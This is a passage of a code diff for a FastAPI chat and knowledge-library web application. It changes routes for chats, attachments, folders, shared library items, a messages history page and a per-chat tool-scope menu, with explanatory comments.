# be the `/title` command alone, which set the heading and left the
|
||||
# sidebar showing the old name until the next reload -- a rename that
|
||||
# looks half-applied is one people do twice.
|
||||
return HTMLResponse(
|
||||
templates.get_template("chat/_title_oob.html").render({"chat": chat})
|
||||
)
|
||||
return Response(status_code=status.HTTP_204_NO_CONTENT)
|
||||
|
||||
|
||||
@@ -2113,9 +1506,7 @@ async def delete_chat(db: Db, user: RequiredUser, chat_id: str) -> Response:
|
||||
# there would be nothing left to find it by and a shell would sit open on
|
||||
# somebody's machine until the idle timeout noticed.
|
||||
await terminal_service.close_chat(chat_id)
|
||||
# Not `db.delete(chat)`: that cascades to the attachment rows and leaves
|
||||
# every file they name on disk forever. See `chat_service.delete_chats`.
|
||||
chat_service.delete_chats(db, [chat])
|
||||
db.delete(chat)
|
||||
db.commit()
|
||||
|
||||
response = Response(status_code=status.HTTP_204_NO_CONTENT)
|
||||
@@ -2164,6 +1555,7 @@ async def regenerate(
|
||||
"request": request,
|
||||
"message": message,
|
||||
"chat": chat,
|
||||
"body_html": "",
|
||||
"user": user,
|
||||
"models_by_id": {
|
||||
m.model_id: m for m in chat_service.available_models(db, user)
|
||||
|
||||
+1
-36
@@ -19,7 +19,7 @@ from fastapi.responses import FileResponse
|
||||
from sqlalchemy import select
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser, require_permission
|
||||
from lembas.db.models import Attachment, Chat, Document, KnowledgeBase, Note
|
||||
from lembas.db.models import Attachment, Document, KnowledgeBase, Note
|
||||
from lembas.security import permissions
|
||||
from lembas.services import files as files_service
|
||||
from lembas.services import settings_store
|
||||
@@ -189,41 +189,6 @@ async def attach_from_note(
|
||||
)
|
||||
|
||||
|
||||
@router.post("/from-scratch", dependencies=[Depends(require_permission("files.upload"))])
|
||||
async def attach_from_scratch(
|
||||
request: Request, db: Db, user: RequiredUser, chat_id: str = Form("")
|
||||
) -> Response:
|
||||
"""Attach this chat's scratch document.
|
||||
|
||||
A copy, like every other attach path, and here the reason is at its
|
||||
sharpest: the pad goes on being written after the message is sent, by the
|
||||
person and by the model, and a transcript that changed underneath itself
|
||||
every time either of them typed would be no record at all.
|
||||
"""
|
||||
from lembas.services import scratch as scratch_service
|
||||
|
||||
chat = db.get(Chat, chat_id) if chat_id else None
|
||||
if chat is None or chat.user_id != user.id:
|
||||
return _not_available(request, "scratch document")
|
||||
|
||||
doc = scratch_service.get(db, chat)
|
||||
if doc is None or not (doc.body or "").strip():
|
||||
return _not_available(request, "scratch document")
|
||||
|
||||
return _chip(
|
||||
request,
|
||||
files_service.store_text(
|
||||
db,
|
||||
user_id=user.id,
|
||||
chat_id=chat.id,
|
||||
filename=f"{doc.title or 'scratch'}.md",
|
||||
text=doc.body,
|
||||
source_path=doc.title or "Scratch",
|
||||
source_label="Scratch",
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
@router.post("/from-skill", dependencies=[Depends(require_permission("files.upload"))])
|
||||
async def attach_from_skill(
|
||||
request: Request, db: Db, user: RequiredUser, skill_id: str = Form(""), chat_id: str = Form("")
|
||||
|
||||
+12
-138
@@ -2,13 +2,11 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from fastapi import APIRouter, Depends, Form, HTTPException, Request, Response, status
|
||||
from sqlalchemy import select
|
||||
from fastapi import APIRouter, Depends, Form, HTTPException, Response, status
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser, require_permission
|
||||
from lembas.db.models import KINDS, Folder
|
||||
from lembas.services.agent import policy as agent_policy
|
||||
from lembas.db.models import Folder
|
||||
|
||||
# Every route here manages folders, so the guard belongs on the router.
|
||||
router = APIRouter(
|
||||
@@ -37,62 +35,6 @@ def _depth_of(db: DBSession, folder: Folder | None) -> int:
|
||||
return depth
|
||||
|
||||
|
||||
def _descendants(db: DBSession, folder: Folder) -> set[str]:
|
||||
"""Every folder under this one, and this one. Bounded by MAX_DEPTH."""
|
||||
found = {folder.id}
|
||||
frontier = [folder.id]
|
||||
for _ in range(MAX_DEPTH + 1):
|
||||
if not frontier:
|
||||
break
|
||||
children = list(
|
||||
db.scalars(select(Folder).where(Folder.parent_id.in_(frontier)))
|
||||
)
|
||||
frontier = [c.id for c in children if c.id not in found]
|
||||
found.update(frontier)
|
||||
return found
|
||||
|
||||
|
||||
def _subtree_height(db: DBSession, folder: Folder) -> int:
|
||||
"""How many levels this folder's own subtree occupies, itself included.
|
||||
|
||||
A move has to consider it: the constraint is on the *deepest leaf* after the
|
||||
move, not on the folder being dragged.
|
||||
"""
|
||||
height = 1
|
||||
frontier = [folder.id]
|
||||
for _ in range(MAX_DEPTH + 1):
|
||||
children = list(
|
||||
db.scalars(select(Folder.id).where(Folder.parent_id.in_(frontier)))
|
||||
)
|
||||
if not children:
|
||||
break
|
||||
height += 1
|
||||
frontier = children
|
||||
return height
|
||||
|
||||
|
||||
def candidate_parents(db: DBSession, user_id: str, folder: Folder) -> list[Folder]:
|
||||
"""Folders this one could be moved into.
|
||||
|
||||
Everything the person owns, minus the folder itself and its own subtree --
|
||||
which is the cycle guard in `update_folder` stated as a list rather than as
|
||||
a refusal. A picker that offers a move the route will reject is a control
|
||||
that looks like it works.
|
||||
|
||||
Depth is checked at the route rather than filtered here: it depends on how
|
||||
tall *this* folder's subtree is, and a select that silently omitted a folder
|
||||
for that reason would be unexplainable from the screen.
|
||||
"""
|
||||
blocked = _descendants(db, folder)
|
||||
return [
|
||||
candidate
|
||||
for candidate in db.scalars(
|
||||
select(Folder).where(Folder.user_id == user_id).order_by(Folder.name)
|
||||
)
|
||||
if candidate.id not in blocked
|
||||
]
|
||||
|
||||
|
||||
def _refresh_sidebar() -> Response:
|
||||
"""Tell the browser to reload so the tree re-renders.
|
||||
|
||||
@@ -105,26 +47,13 @@ def _refresh_sidebar() -> Response:
|
||||
return response
|
||||
|
||||
|
||||
def _prompted(request: Request) -> str:
|
||||
"""What somebody typed into an `hx-prompt` dialog, if anything.
|
||||
|
||||
htmx sends it as a header rather than a field, because the element carrying
|
||||
the attribute may not be a form control at all. `ui.js` swaps the browser's
|
||||
own prompt for the themed one and hands the answer back through the same
|
||||
header, so this reads identically either way.
|
||||
"""
|
||||
return (request.headers.get("HX-Prompt") or "").strip()
|
||||
|
||||
|
||||
@router.post("")
|
||||
async def create_folder(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
name: str = Form(""),
|
||||
name: str = Form("New folder"),
|
||||
parent_id: str = Form(""),
|
||||
) -> Response:
|
||||
name = name.strip() or _prompted(request)
|
||||
parent = _owned_folder(db, parent_id, user.id) if parent_id else None
|
||||
|
||||
# A cap on nesting, so a runaway client cannot build a tree deep enough to
|
||||
@@ -138,7 +67,7 @@ async def create_folder(
|
||||
db.add(
|
||||
Folder(
|
||||
user_id=user.id,
|
||||
name=name[:200] or "New folder",
|
||||
name=name.strip()[:200] or "New folder",
|
||||
parent_id=parent.id if parent else None,
|
||||
)
|
||||
)
|
||||
@@ -146,47 +75,21 @@ async def create_folder(
|
||||
return _refresh_sidebar()
|
||||
|
||||
|
||||
# The settings a folder hands to chats started inside it, and how far each may
|
||||
# run. A table rather than a run of `if` blocks so the save handler and the form
|
||||
# cannot come to disagree about which fields exist -- the same reasoning the
|
||||
# tool label table carries.
|
||||
_SEEDS = {
|
||||
"description": 500,
|
||||
"system_prompt": 20_000,
|
||||
"model_id": 300,
|
||||
"ssh_profile_id": 32,
|
||||
"project_dir": 1000,
|
||||
}
|
||||
|
||||
|
||||
@router.patch("/{folder_id}")
|
||||
async def update_folder(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
folder_id: str,
|
||||
name: str | None = Form(None),
|
||||
parent_id: str | None = Form(None),
|
||||
collapsed: bool | None = Form(None),
|
||||
) -> Response:
|
||||
"""Rename, move, collapse, or set what this folder hands to its chats.
|
||||
|
||||
Reads the raw form rather than declaring `Form(None)` parameters, because
|
||||
FastAPI cannot tell an empty field from an absent one -- a submitted `x=`
|
||||
arrives as None, so "clear this prompt" and "leave it alone" would be the
|
||||
same request. Key presence is the distinction, which is the rule
|
||||
`api/chats.py:update_chat` already follows and the reason every field here
|
||||
is clearable.
|
||||
"""
|
||||
folder = _owned_folder(db, folder_id, user.id)
|
||||
form = await request.form()
|
||||
|
||||
# A rename can arrive from a settings form or from an `hx-prompt` button on
|
||||
# the folder row; one route serves both. A blank name is ignored rather than
|
||||
# stored, since a folder nobody can see the name of is one nobody can find.
|
||||
name = str(form.get("name") or "").strip() or _prompted(request)
|
||||
if name:
|
||||
folder.name = name[:200]
|
||||
if name is not None and name.strip():
|
||||
folder.name = name.strip()[:200]
|
||||
|
||||
if "parent_id" in form:
|
||||
parent_id = str(form["parent_id"]).strip()
|
||||
if parent_id is not None:
|
||||
new_parent = _owned_folder(db, parent_id, user.id) if parent_id else None
|
||||
# Reparenting a folder into its own subtree would detach that subtree
|
||||
# from the root and make it unreachable.
|
||||
@@ -198,41 +101,12 @@ async def update_folder(
|
||||
"A folder cannot be moved inside itself.",
|
||||
)
|
||||
cursor = db.get(Folder, cursor.parent_id) if cursor.parent_id else None
|
||||
# And the depth cap, which `create_folder` has always applied and this
|
||||
# path never did -- moving a three-deep subtree under a six-deep folder
|
||||
# builds a tree nine deep, which is what MAX_DEPTH exists to keep out of
|
||||
# the recursive sidebar template. It went unnoticed because nothing in
|
||||
# the interface could submit `parent_id` at all until now.
|
||||
subtree = _subtree_height(db, folder)
|
||||
if new_parent is not None and _depth_of(db, new_parent) + subtree > MAX_DEPTH:
|
||||
raise HTTPException(
|
||||
status.HTTP_400_BAD_REQUEST,
|
||||
f"Folders cannot be nested more than {MAX_DEPTH} deep.",
|
||||
)
|
||||
folder.parent_id = new_parent.id if new_parent else None
|
||||
|
||||
if "collapsed" in form:
|
||||
folder.collapsed = str(form["collapsed"]).lower() in ("1", "true", "on", "yes")
|
||||
|
||||
for field, limit in _SEEDS.items():
|
||||
if field in form:
|
||||
setattr(folder, field, str(form[field]).strip()[:limit])
|
||||
|
||||
# Both are vocabularies rather than free text, and both accept "" for "no
|
||||
# opinion". Anything else is dropped rather than stored: a folder seeding a
|
||||
# kind that is not a kind would hand every chat started in it a value that
|
||||
# `_new_chat` then has to ignore anyway.
|
||||
if "kind" in form:
|
||||
wanted = str(form["kind"]).strip()
|
||||
folder.kind = wanted if wanted in KINDS else ""
|
||||
if "agent_mode" in form:
|
||||
wanted = str(form["agent_mode"]).strip()
|
||||
folder.agent_mode = wanted if wanted in agent_policy.MODES else ""
|
||||
if collapsed is not None:
|
||||
folder.collapsed = collapsed
|
||||
|
||||
db.commit()
|
||||
# One rule for every caller: reload. A rename or a move changes the tree,
|
||||
# and a save from the settings page comes back showing what was stored --
|
||||
# which is what somebody who pressed Save wants to see anyway.
|
||||
return _refresh_sidebar()
|
||||
|
||||
|
||||
|
||||
+41
-87
@@ -23,7 +23,10 @@ from lembas.api.deps import Db, RequiredUser, require_permission
|
||||
from lembas.api.pages import sidebar_context
|
||||
from lembas.db.models import (
|
||||
AUTHOR_USER,
|
||||
PRINCIPAL_GROUP,
|
||||
PRINCIPAL_USER,
|
||||
Document,
|
||||
Group,
|
||||
KnowledgeBase,
|
||||
Note,
|
||||
Skill,
|
||||
@@ -37,7 +40,6 @@ from lembas.services.fetch import FetchError, fetch
|
||||
from lembas.services.library import documents as documents_service
|
||||
from lembas.services.library import memories as memories_service
|
||||
from lembas.services.library import notes as notes_service
|
||||
from lembas.services.library import retrieval
|
||||
from lembas.services.library import skills as skills_service
|
||||
from lembas.services.markdown import render_markdown
|
||||
from lembas.web.templating import render
|
||||
@@ -58,21 +60,32 @@ def _page(db: DBSession, query, page: int):
|
||||
return rows, {"page": page, "pages": pages, "total": total}
|
||||
|
||||
|
||||
def _shared_context(db: DBSession, user: User, resource, kind: str) -> dict:
|
||||
"""What the share placeholder needs, which is now three facts.
|
||||
|
||||
The panel itself is fetched from `api/sharing.py`, so the names, the search
|
||||
and the grants are no longer built here -- and neither is a query for every
|
||||
account on the instance on every detail page.
|
||||
"""
|
||||
def _shared_context(db: DBSession, user: User, resource) -> dict:
|
||||
"""Everything the share panel on a detail page needs."""
|
||||
grants = sharing.grants_for(db, resource)
|
||||
return {
|
||||
"can_share": permissions.has(db, user, "library.share"),
|
||||
"groups": list(db.scalars(select(Group).order_by(Group.name))),
|
||||
"people": list(
|
||||
db.scalars(select(User).where(User.id != user.id).order_by(User.name))
|
||||
),
|
||||
"shared_users": [g.principal_id for g in grants if g.principal_type == PRINCIPAL_USER],
|
||||
"shared_groups": [g.principal_id for g in grants if g.principal_type == PRINCIPAL_GROUP],
|
||||
"is_owner": resource.owner_id == user.id,
|
||||
"share_kind": kind,
|
||||
"share_id": resource.id,
|
||||
}
|
||||
|
||||
|
||||
def _apply_shares(db: DBSession, user: User, resource, form) -> None:
|
||||
if not permissions.has(db, user, "library.share") or resource.owner_id != user.id:
|
||||
return
|
||||
sharing.set_grants(
|
||||
db,
|
||||
resource,
|
||||
user_ids=form.getlist("share_user"),
|
||||
group_ids=form.getlist("share_group"),
|
||||
)
|
||||
|
||||
|
||||
# --- Shell -------------------------------------------------------------------
|
||||
@router.get("/library")
|
||||
async def library_home(user: RequiredUser):
|
||||
@@ -84,21 +97,9 @@ async def library_home(user: RequiredUser):
|
||||
# before /library/knowledge/{base_id}, or "document" is parsed as a base id.
|
||||
# FastAPI matches in registration order and this has bitten before.
|
||||
@router.get("/library/knowledge")
|
||||
async def knowledge_list(
|
||||
request: Request, db: Db, user: RequiredUser, error: str = "", shared: bool = False
|
||||
):
|
||||
"""The bases, not the documents. A library is a set of places first.
|
||||
|
||||
`shared=1` narrows to bases other people have given this reader — the same
|
||||
filter the notes and skills lists carry, and the one that makes "what have
|
||||
people shared with me?" a question with an answer.
|
||||
"""
|
||||
query = (
|
||||
select(KnowledgeBase).where(sharing.only_shared(KnowledgeBase, user))
|
||||
if shared
|
||||
else documents_service.visible_bases(db, user)
|
||||
)
|
||||
bases = list(db.scalars(query.order_by(KnowledgeBase.name)))
|
||||
async def knowledge_list(request: Request, db: Db, user: RequiredUser, error: str = ""):
|
||||
"""The bases, not the documents. A library is a set of places first."""
|
||||
bases = list(db.scalars(documents_service.visible_bases(db, user).order_by(KnowledgeBase.name)))
|
||||
counts = {
|
||||
base.id: db.scalar(
|
||||
select(func.count()).select_from(Document).where(Document.base_id == base.id)
|
||||
@@ -113,7 +114,6 @@ async def knowledge_list(
|
||||
"section": "knowledge",
|
||||
"bases": bases,
|
||||
"counts": counts,
|
||||
"shared": shared,
|
||||
"error": error,
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
@@ -175,12 +175,7 @@ async def base_detail(
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That knowledge base is not available.")
|
||||
|
||||
if q.strip():
|
||||
# The reader's search box gets the same recall a model's does. `None`
|
||||
# when nothing is configured, which is the keyword search unchanged.
|
||||
vector = await retrieval.embed_query(db, q)
|
||||
rows = documents_service.search(
|
||||
db, user, q, limit=PAGE_SIZE, base_ids=[base.id], vector=vector
|
||||
)
|
||||
rows = documents_service.search(db, user, q, limit=PAGE_SIZE, base_ids=[base.id])
|
||||
pager = {"page": 1, "pages": 1, "total": len(rows)}
|
||||
else:
|
||||
rows, pager = _page(
|
||||
@@ -199,7 +194,7 @@ async def base_detail(
|
||||
"documents": rows,
|
||||
"q": q,
|
||||
"pager": pager,
|
||||
**_shared_context(db, user, base, "base"),
|
||||
**_shared_context(db, user, base),
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
@@ -219,6 +214,7 @@ async def update_base(request: Request, db: Db, user: RequiredUser, base_id: str
|
||||
base.name = name
|
||||
base.description = str(form.get("description", "")).strip()[:2000]
|
||||
db.commit()
|
||||
_apply_shares(db, user, base, form)
|
||||
return RedirectResponse(
|
||||
f"/library/knowledge/{base.id}", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
@@ -245,7 +241,7 @@ async def upload_document(
|
||||
if base is not None and not sharing.can_write(base, user):
|
||||
raise HTTPException(status.HTTP_403_FORBIDDEN, "That base is not yours to add to.")
|
||||
|
||||
payload = await file.read(files_service.limits().max_upload_bytes + 1)
|
||||
payload = await file.read(files_service.MAX_UPLOAD_BYTES + 1)
|
||||
try:
|
||||
document = documents_service.store_upload(
|
||||
db,
|
||||
@@ -343,34 +339,14 @@ async def document_content(db: Db, user: RequiredUser, document_id: str) -> Resp
|
||||
|
||||
# --- Notes -------------------------------------------------------------------
|
||||
@router.get("/library/notes")
|
||||
async def notes_list(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
q: str = "",
|
||||
page: int = 1,
|
||||
shared: bool = False,
|
||||
):
|
||||
"""`shared=1` narrows to what other people have given this reader.
|
||||
|
||||
A separate view rather than a badge in the mixed list. A badge answers "is
|
||||
this mine?" for a row already on screen; the question somebody has is "what
|
||||
have people given me?", which a mixed list of two hundred cannot answer.
|
||||
Searching inside it is deliberately left out -- the search path returns
|
||||
ranked ids and re-filtering them by owner would silently shorten the page.
|
||||
"""
|
||||
async def notes_list(request: Request, db: Db, user: RequiredUser, q: str = "", page: int = 1):
|
||||
if q.strip():
|
||||
rows = notes_service.search(
|
||||
db, user, q, limit=PAGE_SIZE, vector=await retrieval.embed_query(db, q)
|
||||
)
|
||||
rows = notes_service.search(db, user, q, limit=PAGE_SIZE)
|
||||
pager = {"page": 1, "pages": 1, "total": len(rows)}
|
||||
else:
|
||||
query = (
|
||||
select(Note).where(sharing.only_shared(Note, user))
|
||||
if shared
|
||||
else notes_service.visible(db, user)
|
||||
rows, pager = _page(
|
||||
db, notes_service.visible(db, user).order_by(Note.updated_at.desc()), page
|
||||
)
|
||||
rows, pager = _page(db, query.order_by(Note.updated_at.desc()), page)
|
||||
return render(
|
||||
request,
|
||||
"library/notes.html",
|
||||
@@ -378,7 +354,6 @@ async def notes_list(
|
||||
"section": "notes",
|
||||
"notes": rows,
|
||||
"q": q,
|
||||
"shared": shared,
|
||||
"pager": pager,
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
@@ -406,7 +381,7 @@ async def note_detail(request: Request, db: Db, user: RequiredUser, note_id: str
|
||||
"section": "notes",
|
||||
"note": note,
|
||||
"body_html": render_markdown(note.body),
|
||||
**_shared_context(db, user, note, "note"),
|
||||
**_shared_context(db, user, note),
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
@@ -430,6 +405,7 @@ async def update_note(request: Request, db: Db, user: RequiredUser, note_id: str
|
||||
|
||||
form = await request.form()
|
||||
notes_service.update(db, note, title=str(form.get("title", "")), body=str(form.get("body", "")))
|
||||
_apply_shares(db, user, note, form)
|
||||
return RedirectResponse(f"/library/notes/{note.id}", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@@ -444,34 +420,12 @@ async def delete_note(db: Db, user: RequiredUser, note_id: str) -> Response:
|
||||
|
||||
# --- Skills ------------------------------------------------------------------
|
||||
@router.get("/library/skills")
|
||||
async def skills_list(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
q: str = "",
|
||||
page: int = 1,
|
||||
shared: bool = False,
|
||||
):
|
||||
"""`shared=1` narrows to what other people have given this reader.
|
||||
|
||||
A separate view rather than a badge in the mixed list. A badge answers "is
|
||||
this mine?" for a row already on screen; the question somebody has is "what
|
||||
have people given me?", which a mixed list of two hundred cannot answer.
|
||||
Searching inside it is deliberately left out -- the search path returns
|
||||
ranked ids and re-filtering them by owner would silently shorten the page.
|
||||
"""
|
||||
async def skills_list(request: Request, db: Db, user: RequiredUser, q: str = "", page: int = 1):
|
||||
if q.strip():
|
||||
rows = skills_service.search(
|
||||
db, user, q, limit=PAGE_SIZE, vector=await retrieval.embed_query(db, q)
|
||||
)
|
||||
rows = skills_service.search(db, user, q, limit=PAGE_SIZE)
|
||||
pager = {"page": 1, "pages": 1, "total": len(rows)}
|
||||
else:
|
||||
query = (
|
||||
select(Skill).where(sharing.only_shared(Skill, user))
|
||||
if shared
|
||||
else skills_service.visible(db, user)
|
||||
)
|
||||
rows, pager = _page(db, query.order_by(Skill.name), page)
|
||||
rows, pager = _page(db, skills_service.visible(db, user).order_by(Skill.name), page)
|
||||
return render(
|
||||
request,
|
||||
"library/skills.html",
|
||||
@@ -479,7 +433,6 @@ async def skills_list(
|
||||
"section": "skills",
|
||||
"skills": rows,
|
||||
"q": q,
|
||||
"shared": shared,
|
||||
"pager": pager,
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
@@ -507,7 +460,7 @@ async def skill_detail(request: Request, db: Db, user: RequiredUser, skill_id: s
|
||||
"section": "skills",
|
||||
"skill": skill,
|
||||
"revisions": skill.revisions,
|
||||
**_shared_context(db, user, skill, "skill"),
|
||||
**_shared_context(db, user, skill),
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
@@ -548,6 +501,7 @@ async def update_skill(request: Request, db: Db, user: RequiredUser, skill_id: s
|
||||
author=AUTHOR_USER,
|
||||
note="edited by hand",
|
||||
)
|
||||
_apply_shares(db, user, skill, form)
|
||||
return RedirectResponse(f"/library/skills/{skill.id}", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
|
||||
@@ -1,124 +0,0 @@
|
||||
"""Messages: one conversation per person, read backwards on demand.
|
||||
|
||||
The page is the ordinary chat shell with two differences: it opens on the most
|
||||
recent turns rather than on all of them, and above them sits a sentinel that
|
||||
fetches the page before whenever it is scrolled into view.
|
||||
|
||||
That sentinel is the mirror of `GET /api/chats/{id}/tail`, which polls forwards,
|
||||
and it keeps the same four properties for the same reasons — most of all
|
||||
answering **204 to a cursor it cannot place** rather than falling back to "the
|
||||
oldest hundred", which would prepend a block the page already holds.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Request, Response, status
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser
|
||||
from lembas.api.pages import _chat_context, sidebar_context
|
||||
from lembas.db.models import Message, Schedule
|
||||
from lembas.services import messages as messages_service
|
||||
from lembas.services import schedules as schedules_service
|
||||
from lembas.services.markdown import render_markdown
|
||||
from lembas.services.schedule import clock
|
||||
from lembas.services.schedule import rule as rule_service
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(tags=["messages"])
|
||||
|
||||
|
||||
def _bodies(messages: list[Message]) -> dict[str, str]:
|
||||
"""Markdown rendered server-side, keyed by id, as `chat_detail` does."""
|
||||
return {m.id: render_markdown(m.content) for m in messages if m.role == "user"}
|
||||
|
||||
|
||||
@router.get("/messages")
|
||||
async def messages_page(request: Request, db: Db, user: RequiredUser):
|
||||
conversation = messages_service.for_user(db, user)
|
||||
live = messages_service.live_messages(db, conversation)
|
||||
|
||||
# The schedules that post in here, listed beside the conversation because
|
||||
# this is where somebody would look for them -- a schedule whose output
|
||||
# arrives in this thread and whose controls are two pages away is one nobody
|
||||
# will find when they want to stop it.
|
||||
posting = list(
|
||||
db.scalars(
|
||||
schedules_service.visible(user)
|
||||
.where(Schedule.target == "messages")
|
||||
.order_by(Schedule.created_at.desc())
|
||||
)
|
||||
)
|
||||
zone = clock.zone_for(user)
|
||||
|
||||
return render(
|
||||
request,
|
||||
"messages/index.html",
|
||||
{
|
||||
"chat": conversation,
|
||||
"messages": live,
|
||||
"compacted": [],
|
||||
"bodies": _bodies(live),
|
||||
"inherited_prompt": "",
|
||||
"inherited_from": "",
|
||||
"more_before": bool(live) and messages_service.has_more_before(
|
||||
db, conversation, live[0]
|
||||
),
|
||||
"oldest_id": live[0].id if live else "",
|
||||
"schedules": [
|
||||
{
|
||||
"row": row,
|
||||
"summary": rule_service.describe(row.rule_json or {}, zone=zone),
|
||||
}
|
||||
for row in posting
|
||||
],
|
||||
**_chat_context(db, user, conversation),
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/api/messages/history")
|
||||
async def messages_history(
|
||||
request: Request, db: Db, user: RequiredUser, before: str = ""
|
||||
) -> Response:
|
||||
"""The page of turns immediately before `before`, oldest first.
|
||||
|
||||
204 rather than a fallback whenever the cursor cannot be placed: an absent
|
||||
one, one from another chat, one belonging to a message that has gone. The
|
||||
alternative -- answering with the oldest page -- would prepend a block the
|
||||
reader is already looking at, and a duplicated transcript is something only
|
||||
a reload can reconcile.
|
||||
"""
|
||||
conversation = messages_service.for_user(db, user)
|
||||
cursor = db.get(Message, before) if before else None
|
||||
if cursor is None or cursor.chat_id != conversation.id:
|
||||
return Response(status_code=status.HTTP_204_NO_CONTENT)
|
||||
|
||||
page = messages_service.older_than(db, conversation, cursor)
|
||||
if not page:
|
||||
return Response(status_code=status.HTTP_204_NO_CONTENT)
|
||||
|
||||
from lembas.web.templating import templates
|
||||
|
||||
return templates.TemplateResponse(
|
||||
request,
|
||||
"messages/_history.html",
|
||||
{
|
||||
"messages": page,
|
||||
"bodies": _bodies(page),
|
||||
"more_before": messages_service.has_more_before(db, conversation, page[0]),
|
||||
"oldest_id": page[0].id,
|
||||
# `render()` injects `user` and friends; `TemplateResponse` does
|
||||
# not, and `chat/_message.html` dereferences both `user` and `chat`
|
||||
# -- the same reason the SSE path passes them by hand. Missing
|
||||
# either is a 500 on scroll and nothing at all on the page that
|
||||
# rendered fine.
|
||||
"user": user,
|
||||
"chat": conversation,
|
||||
**_chat_context(db, user, conversation),
|
||||
},
|
||||
)
|
||||
+42
-386
@@ -2,36 +2,21 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from zoneinfo import available_timezones
|
||||
|
||||
from fastapi import APIRouter, HTTPException, Request, Response, status
|
||||
from fastapi.responses import FileResponse, JSONResponse, RedirectResponse
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser
|
||||
from lembas.db.models import (
|
||||
KIND_CHAT,
|
||||
KIND_MESSAGES,
|
||||
KIND_TASK,
|
||||
KINDS,
|
||||
Chat,
|
||||
Folder,
|
||||
KnowledgeBase,
|
||||
Message,
|
||||
User,
|
||||
)
|
||||
from lembas.db.models import Chat, Folder, KnowledgeBase, Message, User
|
||||
from lembas.security import permissions
|
||||
from lembas.services import audio as audio_service
|
||||
from lembas.services import branding as branding_service
|
||||
from lembas.services import canvas as canvas_service
|
||||
from lembas.services import chat as chat_service
|
||||
from lembas.services import compaction as compaction_service
|
||||
from lembas.services import reports as reports_service
|
||||
from lembas.services import settings_store
|
||||
from lembas.services import suggestions as suggestions_service
|
||||
from lembas.services.library import documents as documents_service
|
||||
from lembas.services.schedule import clock
|
||||
from lembas.services.markdown import render_markdown
|
||||
from lembas.web.templating import STATIC_DIR, render
|
||||
|
||||
router = APIRouter(tags=["pages"])
|
||||
@@ -52,6 +37,9 @@ def _chat_context(db: DBSession, user: User, chat: Chat | None) -> dict:
|
||||
current = next((m for m in models if m.model_id == chat.model_id), None) if chat else None
|
||||
return {
|
||||
"models": models,
|
||||
# For the sidebar shortcuts only. The picker lists `models` in the
|
||||
# administrator's order, pinned or not.
|
||||
"pinned_models": [m for m in models if m.pinned],
|
||||
"current_model": current,
|
||||
# Assistant bubbles show the avatar of the model that wrote them, which
|
||||
# may not be the model the chat is set to now. Keyed by model_id, the
|
||||
@@ -86,49 +74,19 @@ def _chat_context(db: DBSession, user: User, chat: Chat | None) -> dict:
|
||||
def _scope_context(db: DBSession, user: User, chat: Chat | None) -> dict:
|
||||
"""What this chat may use, for the menu that narrows it.
|
||||
|
||||
The families listed are the ones actually offered *right now*, so the menu
|
||||
never shows a switch for something the model, the reader's permissions or
|
||||
the instance has already ruled out -- turning that on would do nothing,
|
||||
since `resolve_tools` applies this after the gates.
|
||||
|
||||
**It works before the chat exists**, and that is not a nicety. The whole
|
||||
point of narrowing is to decide what a conversation may reach, and the first
|
||||
turn is the one where it matters most: the harness puts a tool's guidance in
|
||||
front of the model the moment the tool is offered, so by the time a chat
|
||||
existed to switch anything off, the model had already been told how to keep
|
||||
notes and been given the tools to do it. Switching it off afterwards does
|
||||
not un-send that turn.
|
||||
|
||||
It used to say there was no row to write to. There is not -- so the
|
||||
prospective menu writes nothing: its switches are plain checkboxes submitted
|
||||
with the first message, and `start_chat` turns them into `scope_json` on the
|
||||
row it is about to create. `scope_allow` stays empty because nothing can
|
||||
have been allowed yet.
|
||||
|
||||
The stand-in `Chat` is `agent/draft.py:as_chat`'s trick again: `resolve_tools`
|
||||
reads the kind, the model and the scope off a chat and never queries or
|
||||
writes it, so a row that is constructed and never added satisfies it
|
||||
unchanged. `scope_json` is set explicitly because it is a *column* default,
|
||||
applied at flush, and this one is never flushed.
|
||||
Only for an existing chat: there is no row to write to before one exists,
|
||||
and a menu whose choices went nowhere would be worse than no menu. The
|
||||
families listed are the ones actually offered *right now*, so the menu never
|
||||
shows a switch for something the model, the reader's permissions or the
|
||||
instance has already ruled out -- turning that on would do nothing, since
|
||||
`resolve_tools` applies this after the gates.
|
||||
"""
|
||||
from lembas.services import tool_labels
|
||||
from lembas.services import tools as tools_service
|
||||
from lembas.services.library import skills as skills_service
|
||||
|
||||
prospective = chat is None
|
||||
if prospective:
|
||||
model_id = ""
|
||||
chosen = chat_service.default_model(db, user)
|
||||
if chosen is not None:
|
||||
model_id = chosen[0]
|
||||
if not model_id:
|
||||
return {"scope_families": [], "scope_skills": [], "scope_allow": []}
|
||||
# An ordinary chat, deliberately, even though the kind can still be
|
||||
# switched on this screen: an agent chat's tools depend on a connection
|
||||
# that is not settled until the chat is created, so offering them here
|
||||
